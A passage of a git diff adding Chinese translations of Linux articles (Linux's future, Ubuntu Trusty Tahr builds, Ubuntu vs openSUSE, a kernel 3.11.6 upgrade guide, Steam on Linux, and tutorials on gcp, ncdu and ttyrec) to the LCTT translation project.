这并不会威胁到Linux本身,但它可能会间接导致各种各样的可能性。Baker担心移动设备的快速增长,除了受Linux自身的发展影响外,更多的会受到来自企业施加的影响。 + +他说,“这就是为什么我们需要诸如Ubuntu和Firefox这样的第二选择,目的就是为那些上网时不愿受Apple和Google摆布的人们提供真正的替代品。” + +说到Google,Google是Android的发展道路上最坚定的捍卫者。围绕Android作为Linux发展而来这一话题,有许多反对意见的争论,这样的争论对于Google的世界观来说,就像与它的首页相比较一样,稍显多余,同时它们也不符合Linux(自由开放)的精神。 + +简而言之,目前Linux面临的最大威胁来自于它自身 —— 无意中,衡量Linux产品的第一标准已经变成了如何让它看起来更吸引人。一直以来,Linux所固有的灵活性和可塑性帮助它战胜自满和企业兼并,克服重重困难,但如今还能否一如既往,情况并不明朗。 + +###路在何方? + +毫无疑问,无论从哪个层面来看,Linux现在都正处在关键的岔路口,它将去往何方,又将付出怎样的代价,都值得探讨。 + +Linux最明显的未来之路,首先,它不仅仅是一块基石,或者说不仅仅是一种建立基础设施的途径;其次,它应当减少过多的产品形式;最后,真正的革新,不仅仅是拓展Linux本身,还要拓展其作为发现问题解决问题的创新办法。目前还很少有人如此对待Linux,要想真正做到这一点,除了呼吁更多的人改变对Linux的看法,还必须打破技术壁垒,将眼光放得更长远。 + +对此,Coggin说道:“Linux正在逐渐成为一个更加成套或灵活的操作系统,进而超越其作为一个基础设施平台的作用。我们看到,开发者和架构师们正在使用Linux建立新一代解决方案,创造出新一代的企业架构。”这些工作中的大部分已经开始付诸实施,他说道,包括“云计算、大数据、移动领域以及社交网络等多个方面”。 + +Gillen也同意上述观点,Linux“即将成为公共云基础设施中非常关键的一个部分,由此,Linux确保了它在现代工业中能够长期发挥作用。” + +Baker说道,“Linux已经在运行着云业务,这是毫无疑问的,它需要巩固自己作为基础设施平台的位置 —— 这意味着它需要时刻保持最新的技术领先优势,例如ARM服务芯片、超大规模集成电路、网络设计,以及所有的软件设计数据中心。”上述这些工作应当可以作为开源系统硬件设计(例如[开源计算机项目][3])的有效补充。 + +###Linux体系:提交、审核、采纳 + +伴随着正面需求不断增长,Linux的开发进程也在不断加快。 + +Linux作为普遍存在的基础设施元素,其中一个潜在的缺点就是它有可能成为商业化的制度产物,正如曾经它所取代的闭源Unix们。但是Zemlin认为,Linux极大的灵活性在这方面发挥了作用:“十几年前,如果你问到Linus Torvalds或其他社区成员,Linux是否会比其他任何平台都要更多的装到移动电话里,他们当然会说‘不会’。所以,我们要做的只是注视Linux的发展,不要尝试去预测它,因为所有的预测几乎都会是错误的。” + +另一个重要的未来发展方向,就像上面提到的,“独立于Google之外,在移动领域有更大的发展,”Baker如此预测道。像Mozilla专门针对移动电话的Firefox操作系统项目,就是这样一种典型的尝试,尽管在Google的存在下,以及Android如此巨大的市场份额面前,其成功的几率并不明朗。 + +最后,最关键的问题,谁将担负起指引Linux未来之路的责任。因为Linux可以由其他人任意复制(fork)并开发,历史证明,拥有单一核心开发团队对于Linux来说是最好的,同时要求基于该团队的所有项目,其核心都能贯穿始终。 + +这样核心团队能够承担更多的责任,以推动Linux弥补现有或将来可能出现的不足,避免闭门造车式的技术封锁,最终使Linux成为它最应该成为的样子。 + +如果Linux的未来真的无处不在,现在没有人能够想象得到它会是什么样子 —— 这是一件好事,难道不是吗? + +-------------------------------------------------------------------------------- + +via: http://www.networkworld.com/news/2013/101513-the-future-of-linux-evolving-274829.html + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://bugs.launchpad.net/ubuntu/+bug/1 +[2]:http://training.linuxfoundation.org/ +[3]:http://www.opencompute.org/2013/05/08/up-next-for-the-open-compute-project-the-network/ \ No newline at end of file diff --git a/published/201311/Trusty Tahr daily builds available for download.md b/published/201311/Trusty Tahr daily builds available for download.md new file mode 100644 index 0000000000..26e5716d8a --- /dev/null +++ b/published/201311/Trusty Tahr daily builds available for download.md @@ -0,0 +1,24 @@ +可靠的塔尔羊(Trusty Tahr)daily builds版本现已提供下载 +================================================================================ +前段时间,Canonical发布了功能强大、高质量的Ubuntu13.10,为广大用户、开发者和公司提供了快速、灵活、强劲的使用体验。 + +13.10的发布刚刚过去没多久,近日,Ubuntu社区开发者[宣布][1],**可靠的塔尔羊(Trusty Tahr)**官方**开发已经开放**,同时开始的还有LTS软件包的开发。 + +除此以外,Trusty的daily builds版已经出现,可安装的镜像内封装了Ubuntu14.04 LTS新的开发重点。 + +![](http://iloveubuntu.net/pictures_me/trusty%20tahr%20daily%20builds.jpg) + +尽管目前Trusty的daily builds版和Ubuntu13.10没有什么太大区别,但是从项目最开始,Trusty就表现出了格外的开发活性,而且Trusty是一个LTS(长期支持)版本,因此,根据传统,与标准版相比,官方提供的Trusty其实是一个更加稳定的Ubuntu版本。 + +可靠的塔尔羊(Trusty Tahr)daily builds版的下载地址:[http://cdimage.ubuntu.com/daily-live/current/][2] + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/trusty-tahr-daily-builds-available-download + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://iloveubuntu.net/trusty-tahr-open-development +[2]:http://cdimage.ubuntu.com/daily-live/current/ \ No newline at end of file diff --git a/published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md b/published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md new file mode 100644 index 0000000000..ee00d4f2b9 --- /dev/null +++ b/published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md @@ -0,0 +1,31 @@ +Ubuntu vs. openSUSE:不同的公司控制风格的比较 +==== +*Ubuntu和OpenSUSE以不同的方式发展他们的Linux发行版。你觉得哪种好?* + +相当多的linux开发都接受来自那些有意改善Linux的公司的资助,这早已不是秘密(这里的Linux我指的是组成一个完整Linux系统的任何部分)。但是,许多公司进行资助的方式却有很大不同。 + +让我们看看两个很典型的例子:Ubuntu和openSUSE。 + +这两者都是Linux发行版。两者都是一个规模庞大、长期持续且非常成功的项目,并且它们都有一个包括志愿者和付费职员的大型社区。然而,两者之间的不同还是相当明显而且非常重要。 + +对于Ubuntu,它发展的主要方向是由Canonical的团队及其领袖Mark Shuttleworth决定的。当谈到Canonical真正“掌舵”Ubuntu时,我们能很快就会想起两个例子,例如Unity(Ubuntu自己的用户界面)和Mir(Ubuntu自己的显示服务)。在许多事情上,母公司都会在没有协商(可以这么说)的情况下设定目标、项目和优先级。例如,Ubuntu的Unity用户界面对于Canonical公司广泛战略目标来说是必须的。一些社区成员喜欢它,另一些则讨厌它。但是不管怎么说,Unity都已经成为Ubuntu的默认用户界面了。 + +但是这是一件坏事吗?我不确信它到底是好还是坏。这只是这个项目如何与公司相处的问题。 + +于此形成对比的是openSUSE,它也有一个公司掌控者,好吧,就是SUSE。关键的不同点是SUSE以“SUSE Linux企业版”的形式提供一个商业发行版。尽管openSUSE(社区Linux发行版)与SUSE Linux发行版(商业发行版)在技术上有许多重叠之处...然而专业的说,两者是不同的。 + +这意味着SUSE,作为一个公司,对待openSUSE时可以更多的采取放手不管的方式,他们的兴趣就是寻找那些被改善的关键性技术(例如,Btrfs文件系统),检测以及打包社区发行版中那些他们想包含在商业发行版中的软件包,但是社区发行版与商业发行版分离的方式与Canonical采取方式相比,给他们提供了更大的灵活性。在这方面,和Canonical不同。 + +这种方法和红帽对待Fedora的方式非常相似,已经成为了一个公司使用社区Linux发行版为基础,销售企业级的Linux系统的一种成功之路。 + +不过,坦白的说两种模式我都看到了优点和缺点。在组织上以及管理上(公众部分)他们都面临着各自的难题。实际上,这两种方法与它们的不同点比起来,相同点更多一些。 + +我非常愿意听到你们对此的看法。你是更喜欢你的以社区为基础的Linux发行版有一个单一的领袖?还是更喜欢你Linux发行版的大多数决定都是有社区驱动的呢?公司是否应该强势控制Linux发行版,还是应该大胆放手让社区来决定呢?请在评论里留言,让我们知道你的看法。 + +-------------------------------------------------------------------------------- + +via: http://www.networkworld.com/community/node/84250 + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md b/published/201311/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md new file mode 100644 index 0000000000..e9abb5f69e --- /dev/null +++ b/published/201311/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md @@ -0,0 +1,53 @@ +在Ubuntu上升级到Linux内核3.11.6 +================================================================================ + +Ubuntu 13.10已经发布,不过它的内核可不是最新的。当然坚持Ubuntu 13.10当前内核不是一件坏事。事实上。不特别建议升级超出你的Linux发行版的官方仓库测试过的特定版本。 + +但另一方面,如果你不害怕一再折腾Ubuntu,那么你可以试试升级到最新Ubuntu支持的Linux内核。你会发觉最新的内核总是有改善的、修补了漏洞和添加特性的. + +所以,如果你的电脑有些运行不正常,那么更新Linux内核可能就能修复。但记住,当你升级时你也有可能导致系统崩溃。 + +如果你不再惧怕,和我一起永往直前吧,让我们开始升级Ubuntu Linux 内核到 3.11.6!! + +首先,在你开始升级之前,请先备份你的数据,以防升级时出错无法恢复。小心行得万年船!!! + +更多关于这个内核版本信息,[阅读更改日志][1]。 + +当你一切准备就绪,运行下列命令来升级你的机器并删除包括比当前更旧的内核在内的旧软件包。 + + sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove + +然后,进到/tmp目录。 + + cd /tmp + +接着,复制粘贴下列命令,按回车下载32位的Linux内核 + + wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.6-saucy/linux-headers-3.11.6-031106-generic_3.11.6-031106.201310181453_i386.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.6-saucy/linux-headers-3.11.6-031106_3.11.6-031106.201310181453_all.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.6-saucy/linux-image-3.11.6-031106-generic_3.11.6-031106.201310181453_i386.deb + +对于64位Linux内核版本,则复制粘贴下行。 + + wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.6-saucy/linux-headers-3.11.6-031106-generic_3.11.6-031106.201310181453_amd64.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.6-saucy/linux-headers-3.11.6-031106_3.11.6-031106.201310181453_all.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.6-saucy/linux-image-3.11.6-031106-generic_3.11.6-031106.201310181453_amd64.deb + +下载适合你的版本,运行下列命令,开始安装: + + sudo dpkg -i *.deb + +最后,运行下列命令升级Grub。 + + sudo update-grub2 + +就这样!重启你的电脑,完成升级!! + +玩的开心! + + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/10/upgrade-linux-kernel-3-11-6-ubuntu/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.11.6 diff --git "a/published/201311/Using Wine to Play Games On Linux\357\274\237 Here\342\200\231s Why You Should Switch To Steam Right Now.md" "b/published/201311/Using Wine to Play Games On Linux\357\274\237 Here\342\200\231s Why You Should Switch To Steam Right Now.md" new file mode 100644 index 0000000000..c8cff37d8c --- /dev/null +++ "b/published/201311/Using Wine to Play Games On Linux\357\274\237 Here\342\200\231s Why You Should Switch To Steam Right Now.md" @@ -0,0 +1,46 @@ +还在使用Wine在Linux上玩游戏?别傻了,用Steam吧! +================================== + + ![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2012/12/steamforlinux.png) + +在过去的几个月中,Steam平台受到了众人的关注。并不是因为它带来的游戏,而是由于它拓展支持了不同的操作系统。假如你还没有听说过,那么我告诉你,官方宣布Steam计划支持Linux,而且还在持续改进他们的beta版Linux客户端。花不了多长时间,就可以让Steam的Linux客户端平稳下来,所以现在需要做的事情就只是把游戏移植到Linux上了。 + +现在这项非常重要的服务已经可以在我们可爱的企鹅上使用,这儿还有好多理由指出你为什么应该至少考虑一下转换到Linux平台。 + +###性能### + +我将以这个明显的优点作为开始 - 使用Steam玩游戏时,性能表现会好很多。当然,同使用Wine玩游戏相比,那就更加显得更加快速咯,因为游戏是原生运行的,无需兼容层。性能是玩游戏时最重要的因素之一,所以人们怎么可以错过这么一个显著的优点呢。 + +另外,我还注意到使用Steam玩游戏比在Windows上玩游戏还更加快速?同样的硬件同一款游戏,在linux上的表现比Windows上的表现还好。这一点别说别人,连我自己都没想到。 + +###兼容性### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/01/switch_steam_wine.jpg) + +无论何时你购买一个游戏,你都无法保证你购买的游戏可以在Wine上良好运行。虽然有一个Wine兼容性数据库,上面列出了Wine兼容的应用和游戏,但是这只是告诉你有哪些想购买但是有可能不兼容的应用或游戏,从而节省你的金钱。然而,使用Steam,那些支持Linux的所有游戏都可以保证兼容,不需要去询问任何兼容性问题。 + +###Steam的优点### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/01/switch_steam_window.jpg) + +当然,转到Steam平台你就可以获得它所有的好处。这包括:偶尔的价格优惠(尤其是那些在售的游戏),完全在线体验,不再需要物理介质,游戏和客户端更新时你可以保持同步更新等。 + +例如,若你在你的电脑上重装了系统,你只需打开Steam,坐在一旁休息,它就可以自动下载并安装所有你安装过的游戏。在Windows和Mac OS X上,人们非常喜欢Steam的这种运作方式,所以这是一个你购买游戏的好去处。 + +###后排的朋友,让我听到你的声音!### + +最后,转到Steam平台,你是在表明你的态度。若Steam对于Linux平台的努力无法引起你游戏的兴趣,那么我会感到非常惊讶。作为社区的一份子,我们需要对那些我们喜欢的项目表示支持。转到Steam平台,不仅可以让Steam公司觉得对于在Linux平台上的冒险值得,而且也告诉了其它人Linux完全可以作为游戏平台——只是由于历史的缘故,人们只是没有在这方面投入足够的时间和经历使其取得突破而已。 + +假如我们向人们展示使用Linux的人们也是喜欢玩游戏的,而且通过支持Linux是可以获得利润的,那么人们就可能更加乐意开发支持Linux的游戏。另外,我们都希望有更多的Linux原生游戏,难道不是吗? + +###结论### + +若你玩的游戏Linux还不支持,那么我完全能够理解你对转到Steam平台的怀疑。然而,你应当给它些时间,定期检查一下更新。最终会有一些你玩的游戏,还有一些你挺喜欢的新游戏会成为那些支持Linux并在其上运行良好的游戏的一部分。 + +你对Steam公司在Linux上的努力有什么想法?你会考虑转到Steam平台吗?请在评论里留言,让我们知道你的想法! + +via: http://www.makeuseof.com/tag/using-wine-to-play-games-on-linux-heres-why-you-should-switch-to-steam-right-now/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201311/gcp \342\200\223 Advanced Command Line File Copier Inspired By cp.md" "b/published/201311/gcp \342\200\223 Advanced Command Line File Copier Inspired By cp.md" new file mode 100644 index 0000000000..797e6abee0 --- /dev/null +++ "b/published/201311/gcp \342\200\223 Advanced Command Line File Copier Inspired By cp.md" @@ -0,0 +1,134 @@ +gcp – 源于CP的高级命令行文件拷贝工具 +================================================================================ +几周前,我们讨论了[高级拷贝][1](修改于cp命令,让其可以显示复制进度条)。一位读者在注释中指出其他实用工具不仅也提供了基本的cp命令功能,而且还提供cp不具有的高级功能。所以,这篇文章里,我们将会讨论非常相似的命令行工具-**gcp**。 + +### gcp – 高级命令行文件拷贝器 ### + +根据操作手册介绍,gcp是一款高级命令行文件拷贝工具软件,其灵感来自于标准的 [cp命令][2], 但它提供了像进度条显示、源文件列表、拷贝过程中出现错误文件不中断继续拷贝等cp所不具有的各项高级功能。 + +下面是部分功能列表: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-main.png) + +### 测试环境### + +- 操作系统 – Ubuntu 13.04 +- Shell工具 – Bash 4.2.45 +- 应用程序 – gcp 0.1.3 + +### 简短的教程 ### + +下面是一些gcp命令的例子: + +**1. 复制进度显示** + +gcp命令提供了进度显示功能,以便用户能监控到复制操作的当前状态。 + +下面是例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-1.png) + +可以看到,gcp命令显示了如文件大小、复制完成的百分比、传输速率和复制操作还需多久完成等细节。 + +**2. 使用-r选项递归拷贝目录** + +要递归拷贝完整的目录,可以使用-r选项。 + +示例如下: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-2.png) + +可以看到,gcp命令显示了完整文件夹复制情况的进度条。 + +**3. 精心设计的错误描述显示** + +如遇到错误,gcp命令会显示拷贝失败的文件的错误信息。 + +示例如下: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-3.png) + +可以看到,gcp命令列出了详细的错误消息,即**August Rush.avi**文件已经在目标目录中存在,拷贝失败。但这个错误并不会影响其它文件的正常拷贝操作。 + +**4. 使用-v选项输出详细信息** + +详细选项-v参数可以用来跟踪gcp命令执行时的所有详细消息。 + +示例如下 : + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-4.png) + +可以看到,使用-v选项可以输出很多细节信息。 + +**5. 创建和使用源列表** + +gcp命令的一个很炫的功能就是可以创建源文件列表,以供以后再次使用。 + +例如,在下面的拷贝操作中,我使用**-sources-save**选项来保存一个源文件列表。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-5-1.png) + +本例中,列表名叫**SOURCES_SAVE**。你可以用**–sources-list**选项参数来确认已保存的列表。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-5-3.png) + +可以看到列表名**SOURCES_SAVE**已保存。 + +现在,删除我们在第一步中拷贝的文件: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-5-2.png) + +重复第一步的操作,但不要加上源文件路径名,使用**–sources-load**选项参数来从**SOURCES_SAVE**列表文件中加载源文件名。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-5-4.png) + +可以看到,gcp命令从**SOURCES_SAVE**列表文件中读取源文件名,并且正常的执行了拷贝操作。 + +下面是关于源文件列表的其它选项参数: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/gcp-5-5.png) + +gcp命令还提供了各式名样的其它有用选项。要查看完整的选项,请阅读[gcp帮助主页][3]。 + +### 下载/安装/配置 ### + +下面是关于gcp命令的一些主要链接站点: + +- [主页][4] +- [下载链接][5] +- [另一篇很有用的gcp使用教程][6] + +你可以通过使用像yum、apt-get等的命令行包管理工具来下载和安装gcp命令。Ubuntu用户也可以使用Ubuntu软件中心来下载和安装这个工具。 + +### 优点 ### + +- 状态条显示和源文件列表是这个工具的核心。 +- 跳过有问题的文件,不影响正常文件的复制操作。 +- 跟标准的cp命令的用法很相似。 + +### 不足 ### + +- 在复制文件夹的时候,要是能显示每个文件的复制状态,那就更好了。 +- 在大多数Linux发行版本中没有预先安装。 + +### 结论 ### + +如果您厌倦了使用标准cp命令拷贝大文件时的盲目等待,gcp命令是个不错的选择。系统管理员会喜欢上源文件列表的功能的。它是必备工具。 + +**你曾经使用过gcp或者类cp的高级命令行工具吗?可以把你的使用心得跟我们分享。** + +-------------------------------------------------------------------------------- + +via: http://mylinuxbook.com/gcp-advanced-command-line-file-copier-inspired-by-cp/ + +译者:[runningwater](https://github.com/runningwater) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mylinuxbook.com/advanced-copy-cp-command/ +[2]:http://www.cyberciti.biz/faq/cp-copy-command-in-unix-examples/ +[3]:http://manpages.ubuntu.com/manpages/precise/en/man1/gcp.1.html +[4]:http://wiki.goffi.org/wiki/Gcp/en +[5]:http://wiki.goffi.org/wiki/Gcp/en +[6]:http://www.hecticgeek.com/2012/03/gcp-command-line-file-copy-ubuntu-linux/ + diff --git "a/published/201311/ncdu \342\200\223 Ncurses Based Disk Usage Utility.md" "b/published/201311/ncdu \342\200\223 Ncurses Based Disk Usage Utility.md" new file mode 100644 index 0000000000..4b16d78489 --- /dev/null +++ "b/published/201311/ncdu \342\200\223 Ncurses Based Disk Usage Utility.md" @@ -0,0 +1,115 @@ +ncdu-基于Ncurses的磁盘实用工具 +=== + +几天前,我们讨论了[gt5][1](一个具有图形前端的磁盘实用工具)。接着上次,继续介绍这个命令系列:du替代命令,我们今天要讨论的是一个基于ncurese的磁盘实用工具,可以远程运行但没有图形环境。我们要介绍的这个命令行工具叫做**ncdu**。 + +###ncdu——基于Ncurses的du可选程序 + +这个命令行工具只是一个基于curses版本的标准du命令。它可帮助你在没有安装图形环境的情况下快速查看系统的磁盘使用统计。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-main.png) + +###检测环境 +- 操作系统 – Ubuntu 13.04 +- Shell – Bash 4.2.45 +- 应用 – ncdu 1.9 + +###简明教程 + +以下是一些ncdu命令的例子: + +**1. 默认输出** + +执行以下**ncdu**命令,你会观察到,它会先扫描磁盘然后降序显示各个目录下的空间使用情况。 + +**> 扫描** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-0.png) + +**> 输出** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-1.png) + +你会看到在输出里显示了一个磁盘使用情况表。假如你要扫描整个文件系统,你可以在运行**ncdu**命令时加上**-x**选项。 + +**2. 按i可以得到选定目录的更多信息** + +如你所见,第一项默认选中。想要知道选定项的更多信息,可以按**i**。 + +下面给出一个例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-2.png) + +如你所见,显示了目录,类型,大小,实际占用空间等。项返回,再按一次**i**。 + +**3. 在ncdu的界面中删除目录** + +在ncdu的界面中删除目录,只需要选中目录,然后按**d**。 + +下面给出一个例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-3.png) + +如你所见,ncdu请求用户确认。假如你选择yes,目录将会从系统中删除。 + +**4. 显示每一个目录的磁盘使用占总的磁盘空间的百分比** + +按**g**显示每个目录大小占总的磁盘空间的百分比。 + +下面给出一个例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-4.png) + +如你所见,在输出结果的第二竖列显示了每个目录所占用的空间占总的磁盘空间的百分比。 + +**5. 获悉有关所有可使用快捷键的** + +按**?**可获得相关快捷键、格式以及有关ncdu版本的信息。 + +下面给出一些例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-1.png) + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-2.png) + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-3.png) + +想知道有关命令行选项以及其它信息,可前往[ncdu命令的Man页面][2]。 + +###下载/安装/配置 + +以下是一些有关ncdu命令的重要链接 + + - [主页][3] + - [下载链接][4] + +当然,你也可以通过命令方式下载安装,比如apt-get,yum等。另外,Ubuntu用户可使用Ubuntu软件中心下载安装这个工具。 + +###优点 + + - 信息显示快速 + - 系统资源消耗小 + +###缺点 + + - 在大多数Linux发行版中均没有预安装 + - 有一定的学习曲线 + +###结论 + +假如你不满足于标准的du工具,想去寻找一款快速的,基于ncurses的类du工具,那么你可以试试ncdu。它提供了许多自定义选项。你一定会喜欢它的。 + +**你使用过ncdu,gt5或者其他任何类du工具吗?欢迎和我们分享你的使用经验。** + +--- + +via: http://mylinuxbook.com/ncdu-ncurses-based-disk-usage-utility/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mylinuxbook.com/gt5-a-graphical-alternative-to-du/ +[2]:http://linux.die.net/man/1/ncdu +[3]:http://dev.yorhel.nl/ncdu +[4]:http://dev.yorhel.nl/ncdu diff --git "a/published/201311/ttyrec & ttyplay \342\200\223 Record And Play Terminal Sessions In Linux.md" "b/published/201311/ttyrec & ttyplay \342\200\223 Record And Play Terminal Sessions In Linux.md" new file mode 100644 index 0000000000..4c0d4b5981 --- /dev/null +++ "b/published/201311/ttyrec & ttyplay \342\200\223 Record And Play Terminal Sessions In Linux.md" @@ -0,0 +1,119 @@ +ttyrec & ttyplay - Linux记录播放终端会话 +================================================================================ +有些时候你可能想要记录一个终端会话,也许是为了保存一个复杂的命令行操作为将来使用的参考,或者是为了知识分享。你可能也希望记录的文件尺寸尽可能的小一点,并且希望当播放记录文件时可以做一个快速回放。在这个文章中我们将讨论两个命令行工具( **ttyrec** 和 **ttyplay** )来让你记录、保存和播放终端会话。 + +### ttyrec & ttyplay ### + +看名字就知道ttyrec命令是用来记录终端会话的,ttyplay是用来播放ttyrec记录的会话的。 + +这里是这些工具的man截图: + +**> ttyrec** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ttyrec-main.png) + +**> ttyplay** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ttyplay-main.png) + +### 测试环境 ### + +- 系统 – Ubuntu 13.04 +- Shell – Bash 4.2.45 +- 应用 – ttyrec 1.0.8-5 & ttyplay 1.0.8-5 + +### 简明教程 ### + +下面告诉你怎么用这些命令来记录和播放一个终端会话。 + +**步骤-1** + +开始记录一个终端会话,只需要运行下面的命令: + + $ ttyrec [文件名] + +参数 **[文件名]** (上面显示的命令)是一个选项,可以指定你想要的任何名字。这个记录文件将会用这个名字保存下来。如果你没有指定一个文件名,ttyrec就会用 **ttyrecord** 作为缺省文件名。 + +**步骤-2** + +当你想要记录的时候你就可以运行这个命令,就开始记录会话了。ttyrec命令甚至可以记录命令行类似vi,nano,emacs,lynx等这些命令行工具的会话。 + +**步骤-3** + +到你想要结束终端会话的时候,只需要运行 **exit** 命令,这个会话记录就会结束。记录文件将会保存在当前文件夹下。 + +你可以运行下面的命令播放这个文件: + + $ ttyplay [文件名] + +参数 **[文件名]** 就是记录文件名,就是上面通过 **ttyrec** 命令给定参数的那个名字。如果没有指定文件名,那么缺省文件名就是 **ttyrecord** 。 + +当你运行ttyplay,回放会话记录就会开始。这里给出一些当你回放会话的时候你可以用的快捷键。 + +- ‘+’或‘f’键可以加速到两倍正常播放速度。 +- ‘-’或‘s’键可以减慢到一般正常播放速度。 +- ‘0’可以暂停。 +- ‘1’可以回到正常播放速度。 + +这有一些其它ttyrec和ttyplay命令支持的选项: + +**> ttyrec** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ttyrec-1.png) + +**> ttyplay** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ttyplay-1.png) + +还有另一个小工具 **ttytime** 可以用来显示用ttyrec工具会话记录的时间。很容易使用并且只需要记录文件名作为命令行参数。 + +举一个例子: + + + $ ttytime record_file + 29 record_file + +这样你就可以看到ttytime命令显示会话记录文件record_file的时间。 + +这有一个ttyrec和ttyplay命令的很有用的视频: + +- [youtube video][1] + +### 下载/安装/配置 ### + +这有一些关于这些工具的重要的链接: + +- [主页][2] +- [下载链接][3] + +你可以使用任何命令行下载管理器比如apt-get或者yum来下载ttyrec,ttyplay和ttytime。Ubuntu用户也可以通过Ubuntu软件中心下载安装这些工具。 + +### 优点 ### + +- 轻量级并且易用 +- 可以记录多种流行的命令行工具比如vi,nano,lynx等 +- 没有学习曲线。 + +### 缺点 ### + +- 不能在IRIX6.4下工作(译注:这还算事吗?) +- 依赖终端尺寸 +- 大多数Linux发行版没有预装。 + +### 结论 ### + +如果你正在找一些Linux轻量级命令行工具用来记录播放终端会话,那么ttyrec和ttyplay是理想的工具。我真的喜欢使用它们带来的轻松。试一下这些工具,你不会失望的。 + +**你使用过ttyrec,ttyplay或者其它的终端记录/播放 工具?分享你的经历给我们吧。** + +-------------------------------------------------------------------------------- + +via: http://mylinuxbook.com/ttyrec-ttyplay-record-and-play-terminal-sessions-in-linux/ + +译者:[flsf](https://github.com/flsf) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/embed/7znzFsc0P8M?version=3&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1&wmode=transparent +[2]:http://0xcc.net/ttyrec/ +[3]:http://0xcc.net/ttyrec/ diff --git "a/published/201312/10 Lesser Known Effective Linux Commands \342\200\223 Part IV.md" "b/published/201312/10 Lesser Known Effective Linux Commands \342\200\223 Part IV.md" new file mode 100644 index 0000000000..d23e1ad3f6 --- /dev/null +++ "b/published/201312/10 Lesser Known Effective Linux Commands \342\200\223 Part IV.md" @@ -0,0 +1,182 @@ +十个鲜为人知的 Linux 命令 - Part 4 +================================================================================ + +继续我们的"鲜为人知"系列,本系列的第四篇会让你了解一些**有趣** 又 **动态**的命令。这里我们进入实际的教程,没有很多理论。 + +![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Effective-Commands-.png) + +- [十一个鲜为人知的 Linux 命令 - Part 1][1] +- [十个鲜为人知的 Linux 命令 - Part 2][2] +- [十个鲜为人知的 Linux 命令 - Part 3][3] + +本系列的第四篇包含了另外的鲜为人知的Linux命令,这些值得去了解。也许你已经知道了这些命令,毫无疑问你是一个勇于探索的资深Linux用户。 + +### 32. strace Command ### + +**strace**是一个调试工具并被主要用于Linux的故障排除。它可能在你的系统内没有默认安装,你可能需要**apt** 或者 **yum** 